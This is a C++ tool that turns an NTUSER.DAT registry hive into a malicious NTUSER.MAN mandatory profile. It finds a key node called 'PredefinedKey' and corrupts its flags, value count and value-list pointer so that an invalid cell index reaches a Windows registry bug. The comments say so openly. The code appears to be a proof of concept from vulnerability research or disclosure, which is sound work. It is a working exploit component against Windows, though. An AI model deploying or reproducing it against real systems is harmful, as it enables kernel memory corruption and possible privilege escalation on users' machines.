#include <cstdio>
#include <cstdlib>
#include <string>

int main(int argc, char** argv) {
  if (argc != 3) {
    printf("Usage: %s <input NTUSER.DAT> <output NTUSER.MAN>\n", argv[0]);
    return 1;
  }

  const char* in_ntuser_path = argv[1];
  const char* out_ntuser_path = argv[2];

  FILE* f;
  if (fopen_s(&f, in_ntuser_path, "rb") != 0) {
    printf("Couldn't open \"%s\n", in_ntuser_path);
    return 1;
  }

  fseek(f, 0, SEEK_END);
  size_t size = ftell(f);
  fseek(f, 0, SEEK_SET);

  unsigned char* buffer = (unsigned char*)malloc(size);
  if (buffer == NULL) {
    printf("Couldn't allocate %zu bytes\n", size);
    fclose(f);
    return 1;
  }
  
  if (fread(buffer, 1, size, f) != size) {
    printf("Couldn't read all %zu bytes of the input file\n", size);
    free(buffer);
    fclose(f);
    return 1;
  }

  fclose(f);

  for (size_t i = 0; i < size - 90; i++) {

    //
    // Does it look like the _CM_KEY_NODE structure of our manually created
    // HKCU\PredefinedKey?
    //

    if (!memcmp(&buffer[i], "nk", 2) && !memcmp(&buffer[i + 76], "PredefinedKey", 13)) {

      printf("Found and converted the PredefinedKey node at offset 0x%.8zx\n", i);

      //
      // Set the 'predefined handle' (0x40) and 'virtual target' (0x100) flags
      // in _CM_KEY_NODE.Flags.
      //

      *(unsigned short*)&buffer[i + 2] |= 0x140;

      // 
      // Set _CM_KEY_NODE.ValueList.Count to 0x80000000, which is the value of
      // the predefined handle.
      //

      *(unsigned int*)&buffer[i + 36] = 0x80000000;

      //
      // Set _CM_KEY_NODE.ValueList.List to an invalid cell index, which is not
      // validated for predefined keys, but can be referenced when the bug is
      // triggered.
      //

      *(unsigned int*)&buffer[i + 40] = 0xcccccccc;
    }
  }

  if (fopen_s(&f, out_ntuser_path, "w+b") != 0) {
    printf("Couldn't open \"%s\"\n", out_ntuser_path);
    free(buffer);
    return 1;
  }

  if (fwrite(buffer, 1, size, f) != size) {
    printf("Couldn't write all %zu bytes to the output file\n", size);
    free(buffer);
    fclose(f);
    return 1;
  }
  
  fclose(f);
  free(buffer);

  return 0;
}